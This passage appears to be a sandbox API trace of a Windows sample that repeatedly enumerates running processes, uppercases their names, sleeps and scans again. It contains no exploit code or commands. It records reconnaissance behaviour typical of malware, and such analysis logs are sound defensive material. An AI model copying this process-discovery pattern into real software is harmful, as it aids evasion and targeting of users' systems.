| out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="authorized.exe")) returned 1 [0080.097] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="authorized.exe" | out: lpString1="authorized.exe") returned="authorized.exe" [0080.097] lstrlenW (lpString="authorized.exe") returned 14 [0080.097] CharUpperBuffW (in: lpsz="authorized.exe", cchLength=0xe | out: lpsz="AUTHORIZED.EXE") returned 0xe [0080.097] PathFindFileNameW (pszPath="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0080.097] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUTHORIZED.EXE" | out: lpString1="AUTHORIZED.EXE") returned="AUTHORIZED.EXE" [0080.097] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x278, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp.exe")) returned 1 [0080.098] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="isp.exe" | out: lpString1="isp.exe") returned="isp.exe" [0080.098] lstrlenW (lpString="isp.exe") returned 7 [0080.098] CharUpperBuffW (in: lpsz="isp.exe", cchLength=0x7 | out: lpsz="ISP.EXE") returned 0x7 [0080.098] PathFindFileNameW (pszPath="ISP.EXE") returned="ISP.EXE" [0080.098] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ISP.EXE" | out: lpString1="ISP.EXE") returned="ISP.EXE" [0080.098] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cowboy.exe")) returned 1 [0080.098] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cowboy.exe" | out: lpString1="cowboy.exe") returned="cowboy.exe" [0080.098] lstrlenW (lpString="cowboy.exe") returned 10 [0080.098] CharUpperBuffW (in: lpsz="cowboy.exe", cchLength=0xa | out: lpsz="COWBOY.EXE") returned 0xa [0080.099] PathFindFileNameW (pszPath="COWBOY.EXE") returned="COWBOY.EXE" [0080.099] lstrcpyW (in: lpString1=0x2b4f928, lpString2="COWBOY.EXE" | out: lpString1="COWBOY.EXE") returned="COWBOY.EXE" [0080.099] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="j_variables_changes.exe")) returned 1 [0080.099] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="j_variables_changes.exe" | out: lpString1="j_variables_changes.exe") returned="j_variables_changes.exe" [0080.099] lstrlenW (lpString="j_variables_changes.exe") returned 23 [0080.099] CharUpperBuffW (in: lpsz="j_variables_changes.exe", cchLength=0x17 | out: lpsz="J_VARIABLES_CHANGES.EXE") returned 0x17 [0080.099] PathFindFileNameW (pszPath="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0080.099] lstrcpyW (in: lpString1=0x2b4f928, lpString2="J_VARIABLES_CHANGES.EXE" | out: lpString1="J_VARIABLES_CHANGES.EXE") returned="J_VARIABLES_CHANGES.EXE" [0080.099] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="thats.exe")) returned 1 [0080.100] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="thats.exe" | out: lpString1="thats.exe") returned="thats.exe" [0080.100] lstrlenW (lpString="thats.exe") returned 9 [0080.100] CharUpperBuffW (in: lpsz="thats.exe", cchLength=0x9 | out: lpsz="THATS.EXE") returned 0x9 [0080.100] PathFindFileNameW (pszPath="THATS.EXE") returned="THATS.EXE" [0080.100] lstrcpyW (in: lpString1=0x2b4f928, lpString2="THATS.EXE" | out: lpString1="THATS.EXE") returned="THATS.EXE" [0080.100] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bikes goods whilst.exe")) returned 1 [0080.100] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="bikes goods whilst.exe" | out: lpString1="bikes goods whilst.exe") returned="bikes goods whilst.exe" [0080.100] lstrlenW (lpString="bikes goods whilst.exe") returned 22 [0080.100] CharUpperBuffW (in: lpsz="bikes goods whilst.exe", cchLength=0x16 | out: lpsz="BIKES GOODS WHILST.EXE") returned 0x16 [0080.101] PathFindFileNameW (pszPath="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0080.101] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BIKES GOODS WHILST.EXE" | out: lpString1="BIKES GOODS WHILST.EXE") returned="BIKES GOODS WHILST.EXE" [0080.101] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reaches processing culture.exe")) returned 1 [0080.101] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="reaches processing culture.exe" | out: lpString1="reaches processing culture.exe") returned="reaches processing culture.exe" [0080.101] lstrlenW (lpString="reaches processing culture.exe") returned 30 [0080.101] CharUpperBuffW (in: lpsz="reaches processing culture.exe", cchLength=0x1e | out: lpsz="REACHES PROCESSING CULTURE.EXE") returned 0x1e [0080.101] PathFindFileNameW (pszPath="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0080.101] lstrcpyW (in: lpString1=0x2b4f928, lpString2="REACHES PROCESSING CULTURE.EXE" | out: lpString1="REACHES PROCESSING CULTURE.EXE") returned="REACHES PROCESSING CULTURE.EXE" [0080.101] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="actual.exe")) returned 1 [0080.103] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="actual.exe" | out: lpString1="actual.exe") returned="actual.exe" [0080.103] lstrlenW (lpString="actual.exe") returned 10 [0080.103] CharUpperBuffW (in: lpsz="actual.exe", cchLength=0xa | out: lpsz="ACTUAL.EXE") returned 0xa [0080.103] PathFindFileNameW (pszPath="ACTUAL.EXE") returned="ACTUAL.EXE" [0080.103] lstrcpyW (in: lpString1=0x2b4f928, lpString2="ACTUAL.EXE" | out: lpString1="ACTUAL.EXE") returned="ACTUAL.EXE" [0080.103] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="potter larry.exe")) returned 1 [0080.103] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="potter larry.exe" | out: lpString1="potter larry.exe") returned="potter larry.exe" [0080.103] lstrlenW (lpString="potter larry.exe") returned 16 [0080.103] CharUpperBuffW (in: lpsz="potter larry.exe", cchLength=0x10 | out: lpsz="POTTER LARRY.EXE") returned 0x10 [0080.104] PathFindFileNameW (pszPath="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0080.104] lstrcpyW (in: lpString1=0x2b4f928, lpString2="POTTER LARRY.EXE" | out: lpString1="POTTER LARRY.EXE") returned="POTTER LARRY.EXE" [0080.104] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="contents what certificate.exe")) returned 1 [0080.104] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="contents what certificate.exe" | out: lpString1="contents what certificate.exe") returned="contents what certificate.exe" [0080.104] lstrlenW (lpString="contents what certificate.exe") returned 29 [0080.104] CharUpperBuffW (in: lpsz="contents what certificate.exe", cchLength=0x1d | out: lpsz="CONTENTS WHAT CERTIFICATE.EXE") returned 0x1d [0080.104] PathFindFileNameW (pszPath="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0080.104] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CONTENTS WHAT CERTIFICATE.EXE" | out: lpString1="CONTENTS WHAT CERTIFICATE.EXE") returned="CONTENTS WHAT CERTIFICATE.EXE" [0080.104] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cindy.exe")) returned 1 [0080.105] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="cindy.exe" | out: lpString1="cindy.exe") returned="cindy.exe" [0080.105] lstrlenW (lpString="cindy.exe") returned 9 [0080.105] CharUpperBuffW (in: lpsz="cindy.exe", cchLength=0x9 | out: lpsz="CINDY.EXE") returned 0x9 [0080.105] PathFindFileNameW (pszPath="CINDY.EXE") returned="CINDY.EXE" [0080.105] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CINDY.EXE" | out: lpString1="CINDY.EXE") returned="CINDY.EXE" [0080.105] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="printable_fountain_korea.exe")) returned 1 [0080.105] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0080.106] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0080.106] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0080.106] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0080.106] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0080.106] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0080.106] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0080.106] lstrlenW (lpString="unusual.exe") returned 11 [0080.107] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0080.107] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0080.107] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0080.107] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0080.107] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0080.107] lstrlenW (lpString="pacific.exe") returned 11 [0080.107] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0080.107] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0080.107] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0080.107] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0080.108] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0080.108] lstrlenW (lpString="phantom.exe") returned 11 [0080.108] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0080.108] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0080.108] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0080.108] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0080.108] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0080.109] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0080.109] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0080.109] PathFindFileNameW (pszPath="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0080.109] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BACKGROUNDTASKHOST.EXE" | out: lpString1="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0080.109] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0080.109] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0080.109] lstrlenW (lpString="audiodg.exe") returned 11 [0080.109] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0080.109] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0080.109] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0080.109] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0080.110] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0080.110] lstrlenW (lpString="SCN0tification.exe") returned 18 [0080.110] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0080.110] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0080.110] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0080.110] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0080.111] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0080.111] lstrlenW (lpString="dllhost.exe") returned 11 [0080.111] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0080.111] PathFindFileNameW (pszPath="DLLHOST.EXE") returned="DLLHOST.EXE" [0080.111] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DLLHOST.EXE" | out: lpString1="DLLHOST.EXE") returned="DLLHOST.EXE" [0080.111] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.111] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.111] lstrlenW (lpString="svchost.exe") returned 11 [0080.112] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.112] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.112] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.112] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0080.112] lstrlenW (lpString="svchost.exe") returned 11 [0080.112] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0080.112] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.112] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0080.112] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0080.113] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0080.113] lstrlenW (lpString="sppsvc.exe") returned 10 [0080.113] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0080.113] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0080.113] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0080.113] Process32NextW (in: hSnapshot=0x314, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0080.114] CloseHandle (hObject=0x314) returned 1 [0080.114] Sleep (dwMilliseconds=0x1b7740) [0090.125] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x404 [0090.129] Process32FirstW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0090.130] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0090.130] lstrlenW (lpString="[System Process]") returned 16 [0090.130] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0090.130] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0090.130] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0090.130] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0090.131] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0090.131] lstrlenW (lpString="System") returned 6 [0090.131] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0090.131] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0090.131] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0090.131] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0090.132] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0090.132] lstrlenW (lpString="smss.exe") returned 8 [0090.132] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0090.132] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0090.132] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0090.132] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0090.133] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0090.133] lstrlenW (lpString="csrss.exe") returned 9 [0090.133] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0090.133] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0090.133] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0090.133] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0090.134] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0090.134] lstrlenW (lpString="wininit.exe") returned 11 [0090.134] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0090.134] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0090.134] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0090.134] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0090.135] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0090.135] lstrlenW (lpString="csrss.exe") returned 9 [0090.135] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0090.135] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0090.135] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0090.135] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0090.136] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0090.136] lstrlenW (lpString="winlogon.exe") returned 12 [0090.136] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0090.136] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0090.136] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0090.136] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0090.137] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0090.137] lstrlenW (lpString="services.exe") returned 12 [0090.138] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0090.138] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0090.138] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0090.138] Process32NextW (in: hSnapshot=0x404, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0090.138] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0090.139] lstrlenW (lpString="lsass.exe") returned 9 [0090.139] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0090.139] 